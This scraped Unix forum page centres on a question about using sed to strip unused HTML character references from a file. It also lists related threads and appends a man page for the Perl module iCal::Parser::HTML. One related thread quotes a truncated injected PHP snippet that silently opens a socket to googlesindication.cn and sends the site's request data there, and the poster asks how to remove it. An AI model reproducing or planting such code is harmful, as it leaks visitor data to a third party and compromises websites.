Sponsored Content
Top Forums UNIX for Beginners Questions & Answers How to remove unused html codes from the file using UNIX? Post 303037662 by karthik adiga on Friday 9th of August 2019 03:57:54 AM
Old 08-09-2019
How to remove unused html codes from the file using UNIX?

Hi All,

We have a HTML source which will be processed using a informatica workflow. In between these two we have a Unix script which transforms the file.

We are getting an error from past week in the informatica saying invalid format, because the file has unused html reference (0-8,14-31 etc)

example:

Code:
� -    Unused
 -    Unused
 -    Unused
 - Ÿ Unused

Source for the above:
Hypertext Markup Language - 2.0 - The HTML Coded Character Set


We need to handle it in Unix and remove the above mentioned characters from the HTML file before processing it.

I have tried using sed command like

Code:
sed -e 's/\&\([^\amp;|^\apos;|^\quot;|^\lt;|^\gt;]\)/\&\1/g'

but it is not serving the purpose. Also, since we have soo many unused reference, it cannot be hardcoded also.

Could you please let me know how to proceed with this
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

delete the unused file

Hi All, Can you please let me know how to delete any files that have not been accessed in the past 28 days in a directory. Thanks, Arun (3 Replies)
Discussion started by: arunkumar_mca
3 Replies

2. Linux

How to remove only html tags inside a file?

Hi All, I have following example file i want to remove all html tags only, Input File: <html> <head> <title>Software Solutions Inc., </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor=white leftmargin="0" topmargin="0"... (2 Replies)
Discussion started by: btech_raju
2 Replies

3. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

4. Programming

What Unix do with unused shared memory?

Hello, When creating shared memory in C, should be remove shared memory with shmctl function when don't need it. If it didn't remove, occupied shared memory stay and remain. If we create shared memory repeatedly without removing unusable shared memory, /dev/shm will full. Does Unix or... (1 Reply)
Discussion started by: pronetin
1 Replies

5. Shell Programming and Scripting

Remove external urls from .html file

Hi everyone. I have an html file with lines like so: link href="localFolder/..."> link href="htp://..."> img src="localFolder/..."> img src="htp://..."> I want to remove the links with http in the href and imgs with http in its src. I'm having trouble removing them because there... (4 Replies)
Discussion started by: CowCow339
4 Replies

6. UNIX for Advanced & Expert Users

Help to get file from windows to Unix via HTML

Dear, I have a requirement as below: I need an exe or bat file to facilitate multiple end users to upload their files (csv or xls) from windows environment to Unix server. Any front end like html would also be fine, I can develop a simple HTML script with browse button but not sure on... (4 Replies)
Discussion started by: Imran_Chennai
4 Replies

7. Shell Programming and Scripting

Removal of HTML ASCII Codes from file

Hi all, I have a file with extended ASCII codes in the description which needs to be removed. List of extended ascii codes "Œ", "œ", "Š", "š", "Ÿ", "ƒ", "-", "-", "‘", "'", "‚", "“", "”", "„","†", "‡", "•", "...", "‰", "€", "™" Sample data: Test Details-HAVE BEEN PUBLISHED... (1 Reply)
Discussion started by: btt3165
1 Replies

8. Shell Programming and Scripting

UNIX Env values in HTML file

Hi, I am sending 'mailx' one file.html from unix, and i want to put the field values from the unix environment.. like. <p><input type="text" name="name" value="Your name" /></p> in thin i want to put value "Your name" as let's say $HOME, can this be possible? If yes..can anyone please... (1 Reply)
Discussion started by: jaiankur
1 Replies

9. Shell Programming and Scripting

HTML Codes for Shell Programs

Hi All, I need to use my script via html web page, already webserv running in my unix box... Please provide me the sample html files or any web site Thanks (2 Replies)
Discussion started by: l_gshankar24
2 Replies

10. Shell Programming and Scripting

How to remove multiline HTML tags from a file?

I am trying to remove a multiline HTML tag and its contents from a few HTML files following the same basic pattern. So far using regex and sed have been unsuccessful. The HTML has a basic structure like this (with the normal HTML stuff around it): <div id="div1"> <div class="div2"> <other... (4 Replies)
Discussion started by: threesixtyfive
4 Replies
iCal::Parser::HTML(3pm) 				User Contributed Perl Documentation				   iCal::Parser::HTML(3pm)

NAME
iCal::Parser::HTML - Generate HTML calendars from iCalendars SYNOPSIS
use iCal::Parser::HTML; my $parser=iCal::Parser::HTML->new; print $parser->parse(type=>$type,start=>$date,files=>[@icals]); DESCRIPTION
This module uses iCal::Parser::SAX and XML::LibXSLT with included stylesheets to generates html calendars from icalendars. The html document generated includes (when appropriate) a sidebar containing a legend, a list of todos and a three month calendar for the previous, current and next months. The stylesheets are stored in the HTML/stylesheet directory under the installed package directory. Also included in this package are an optionally installed command line program "ical2html" in scripts and, in the example directory, a cgi handler ("ical.cgi" in examples) and a stylesheet ("calendar.css" in examples) for formatting the html output. Note that the html output will look quite broken without the stylesheet. ARGUMENTS
The following arguments are processed by this module. Any addtional arguments are passed to iCal::Parser::SAX. type The type of calendar to generate. One of: "day", "week", "month" or "year". The daily, weekly and monthly calendars include the sidebar. The calendar generated will be for the specified period (day, week, etc.) which includes the specified date. start The date to generated the calendar for. The date only needs to be specified to the precision necessary for the type of calendar. That is, "YYYY" for a yearly calendar, "YYYYMM" for a monthly, and "YYYYMMDD" for daily and weekly. In addition, the date can be in one of the following forms: YYYY[MM[DD]] YYYY[-MM[-DD]] A DateTime object initialized to the necessary precision files An array reference to the list of icalendars to include in the results. url If this params is specified, then the html output will contain links back to this url for getting other calendar periods. The params "type" and "date" will be appended to this url when generating the links. AUTHOR
Rick Frankel, cpan@rickster.com COPYRIGHT
This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. The full text of the license can be found in the LICENSE file included with this module. SEE ALSO
iCal::Parser::SAX, XML::LibXML::SAX::Builder, XML::LibXSLT, DateTime perl v5.14.2 2012-01-25 iCal::Parser::HTML(3pm)
All times are GMT -4. The time now is 07:14 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy